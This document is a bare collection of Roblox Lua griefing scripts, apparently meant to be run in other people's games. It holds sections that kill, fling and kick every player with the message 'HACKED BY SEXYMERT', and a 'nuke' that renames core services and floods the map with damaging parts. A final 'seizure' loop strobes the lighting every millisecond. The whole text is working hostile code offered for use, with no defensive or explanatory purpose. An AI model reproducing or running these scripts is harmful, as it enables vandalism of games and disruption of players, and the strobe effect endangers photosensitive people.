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-- announcement local p = Instance.new("Message") p.Parent = game.Workspace p.Text = "TEXT HERE" wait(10) p:Destroy() -- teleport local TeleportService = game:GetService("TeleportService") local Players = game:GetService("Players") local targetPlaceId = 73296723551551 task.wait(5) for _, player in ipairs(Players:GetPlayers()) do TeleportService:Teleport(targetPlaceId, player) end -- fling all local FLING_FORCE = Vector3.new(0, 200, 0) local DURATION = 0.3 local function flingCharacter(char) local hrp = char:FindFirstChild("HumanoidRootPart") if not hrp then hrp = char:WaitForChild("HumanoidRootPart", 5) end if not hrp then return end local bv = Instance.new("BodyVelocity") bv.Velocity = FLING_FORCE bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge) bv.Parent = hrp task.wait(DURATION) if bv then bv:Destroy() end end for _, plr in ipairs(game.Players:GetPlayers()) do if plr.Character then flingCharacter(plr.Character) end plr.CharacterAdded:Connect(flingCharacter) end game.Players.PlayerAdded:Connect(function(plr) if plr.Character then flingCharacter(plr.Character) end plr.CharacterAdded:Connect(flingCharacter) end) -- kill all game.Players.PlayerAdded:Connect(function(plr) plr.CharacterAdded:Connect(function(char) local hum = char:WaitForChild("Humanoid") while hum and hum.Parent do hum.Health = 0 task.wait(0.5) end end) end) for _, plr in ipairs(game.Players:GetPlayers()) do if plr.Character then local hum = plr.Character:FindFirstChild("Humanoid") if hum then task.spawn(function() while hum and hum.Parent do hum.Health = 0 task.wait(0.5) end end) end end plr.CharacterAdded:Connect(function(char) local hum = char:WaitForChild("Humanoid") while hum and hum.Parent do hum.Health = 0 task.wait(0.5) end end) end -- kick all for _, plr in ipairs(game.Players:GetPlayers()) do plr:Kick("HACKED BY SEXYMERT") end game.Players.PlayerAdded:Connect(function(plr) plr:Kick("HACKED BY SEXYMERT") end) -- nuke wait(79) local workspace = game.Workspace workspace.Name = "UR GAME IS GOING TO BE DESTROYED" local gui = game.StarterGui gui.Name = "VIRUS OMG" local serverstorage = game.ServerStorage serverstorage.Name = "1010210102012010" local scriptservise = game.ServerScriptService scriptservise.Name = "AAA" local repstorage = game.ReplicatedStorage repstorage.Name = "NEVER GONNA GIVE YOU UP" local lightn = game.Lighting lightn.Name = "d!!!!!!!!!!!!!!!!!!!!!ng" local repfirst = game.ReplicatedFirst repfirst.Name = "REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" local starterpack = game.StarterPack starterpack.Name = "oof oof oof oof" local spawn = Instance.new("SpawnLocation") spawn.Position = Vector3.new(0, 150, 0) spawn.Parent = workspace spawn.Anchored = true local sound = Instance.new("Sound") sound.Looped = true local effect1 = Instance.new("DistortionSoundEffect") effect1.Priority = 10 effect1.Level = 10 effect1.Parent = sound local effect2 = Instance.new("ReverbSoundEffect") effect2.Priority = 10 effect2.DryLevel = 10 effect2.Parent = sound sound.SoundId = "rbxassetid://3068569258" sound.Parent = game.Workspace sound.Volume = 5 sound:Play() local sky = Instance.new("Sky") sky.SkyboxUp = "rbxassetid://331676868" sky.SkyboxRt = "rbxassetid://111624940" sky.SkyboxLf = "rbxassetid://1791441709" sky.SkyboxFt = "rbxassetid://24488987" sky.Parent = lightn function onPlayerEntered(newPlayer) wait(13) newPlayer:Kick("HACKED BY SEXYMERT") end game.Players.ChildAdded:connect(onPlayerEntered) while true do if workspace:FindFirstChild("Baseplate") ~= nil then local oof = workspace:FindFirstChild("Baseplate") oof.BrickColor = BrickColor.Random() end wait(0.001) print("VIRUS") local part = Instance.new("Part") part.Size = Vector3.new(math.random(10, 100), math.random(10, 100), math.random(10, 100)) part.Position = Vector3.new(math.random(-1000, 1000), 1000, math.random(-1000, 1000)) part.Parent = workspace part.BrickColor = BrickColor.Random() part.Material = "SmoothPlastic" part.CanCollide = false function onTouched(hit) if hit.Parent:findFirstChild("Humanoid") then hit.Parent.Humanoid:TakeDamage(100) end end end -- seizure while true do wait(0.001) game.Lighting.ExposureCompensation = 100 wait(0.001) game.Lighting.ExposureCompensation = 0 end
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